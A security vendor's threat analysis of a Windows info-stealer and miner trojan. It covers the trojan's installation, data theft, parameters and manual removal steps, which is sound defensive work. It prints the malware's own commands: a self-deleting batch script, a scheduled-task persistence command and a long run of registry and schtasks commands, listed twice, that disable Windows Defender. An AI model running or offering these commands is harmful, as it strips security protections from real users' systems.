Analysis by: Neljorn Nathaniel Aguas
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan Spy

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes commands from a remote malicious user, effectively compromising the affected system.

It connects to certain websites to send and receive information. However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 314572800 bytes
File Type: EXE
Memory Resident: Yes
Initial Samples Received Date: 09 Jan 2024
Payload: Collects system information, Connects to URLs/IPs, Drops files, Steals information

Arrival Details

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan Spy drops the following copies of itself into the affected system and executes them:

  • %Application Data%\Shell\Shell.exe

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It drops the following files:

  • %User Profile%\AppData\Local:{Date} → contains gathered data to be sent to C&C server. Not visible to the victim due to improper file naming.
  • %User Temp%\{Random Characters}.bat
    • which contains the following command line strings:
      • :Delfile
        timeout /t 5 /nobreak >nul
        rmdir "%AppDataLocal%\{Random Characters}" /q/s *.* > nul
        del "%User Temp%\{Random Characters}"
        If Exist "%User Temp%\{Random Characters}" Goto Delfile
        del "%User Temp%\{Random Characters}.bat"

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • "%Windows%\Microsoft.NET\Framework\{Version Number}\RegAsm.exe" → executed legitimate program to load the injected shellcode
  • "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafnias" /tr "'%Application Data%\Shell\Shell.exe'" /f → executed to create a scheduled task
  • "cmd" /c copy "{Malware Path}\{Malware Filename}" "%Application Data%\Shell\Shell.exe" → executed to drop a copy of itself
  • If "-tsc" parameter is used:
    • "%System%\w32tm.exe" /resync /nowait → synchronize system date and time over the network
  • if "-wdkill" parameter is used, it disables Windows Defender by registry modification:
    • reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
    • reg delete "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    • schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    • schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    • schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    • schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    • schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    • reg delete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    • reg delete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    • reg delete "HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\EPP" /f
    • reg delete "HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers\EPP" /f
    • reg delete "HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers\EPP" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
    • reg delete "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    • reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    • schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    • schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    • schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    • schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    • schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    • reg delete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    • reg delete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    • reg delete "HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\EPP" /f
    • reg delete "HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers\EPP" /f
    • reg delete "HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers\EPP" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    • reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It creates the following folders:

  • %Application Data%\Shell

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Backdoor Routine

This Trojan Spy executes the following commands from a remote malicious user:

  • Start, stop, and configure cryptominer using XMRig.

Information Theft

This Trojan Spy gathers the following data:

  • Computer Name
  • User Domain
  • Username
  • Operating system
  • Processor Information
  • Memory Information
  • Disk Information
  • Running Processes
  • Clipboard Data
  • Mouse Actions
  • Screenshots
  • Browser Credentials:
    • Brave
    • Chrome
    • Firefox
    • UC Browser

Other Details

This Trojan Spy connects to the following website to send and receive information:

  • {BLOCKED}.{BLOCKED}.{BLOCKED}.232:4012

However, as of this writing, the said sites are inaccessible.

It accepts the following parameters:

  • -fwa
  • -tsc → Synchronize system date and time over the network
  • -prs → Establish persistency
  • -uac → Privilege escalation
  • -wdkill → Disables Windows Defender

It adds the following scheduled tasks:

  • Location: {Scheduled Task Root Directory}
    Name: Nafnias
    Trigger: One time → {Creation Date}
    Action: Start a program → "%Application Data%\Shell\Shell.exe"

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 18.944.05
FIRST VSAPI PATTERN DATE: 16 Jan 2024
VSAPI OPR PATTERN File: 18.945.00
VSAPI OPR PATTERN Date: 17 Jan 2024

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • TROJ.Win32.TRX.XXPE50FFF077

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Deleting Scheduled Tasks while in Safe Mode

  1. Still in safe mode, the following {Task Name}-{Task to be run} listed should be used in the steps identified below:
    • {Task Name}: Nafnias
    • {Task to be run}: Start a program → "%Application Data%\Shell\Shell.exe"
  2. For Windows 7 and Server 2008 (R2) users, click Start>Computer.
    • For Windows 8, 8.1, 10, and Server 2012 users, right-click on the lower left corner of the screen, then click File Explorer.
  3. In the Search Computer/This PC input box, type:
    • %System%\Tasks\{Task Name}
  4. Once located, select the file then press SHIFT+DELETE to delete it.
  5. Open Registry Editor. To do this:
    • For Windows 7 and Server 2008 (R2) users, click the Start button, type regedit in the Search input field, and press Enter.
    • For Windows 8, 8.1, 10, and Server 2012 (R2) users, right-click on the lower left corner of the screen, click Run, type regedit in the text box
  6. In the left panel of the Registry Editor window, double-click the following:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
  7. Locate the created entry and take note of the registry value's data:
    • ID={Task Data}
  8. After taking note of the data, delete the registry key:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
  9. In the left panel of the Registry Editor window, double-click the following:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tasks
  10. Still in the left panel, locate and delete the registry key with the same name as the located Task Data in step #6:
    • ={Task Data}
  11. Close Registry Editor.

Step 6

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Application Data%\Shell\Shell.exe
  • %User Profile%\AppData\Local:{Date}
  • %User Temp%\{Random Characters}.bat

Step 7

Search and delete this folder

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %Application Data%\Shell

Step 8

Restart in normal mode and scan your computer with your Trend Micro product for files detected as TrojanSpy.MSIL.NEGASTEAL.RJAQOWET. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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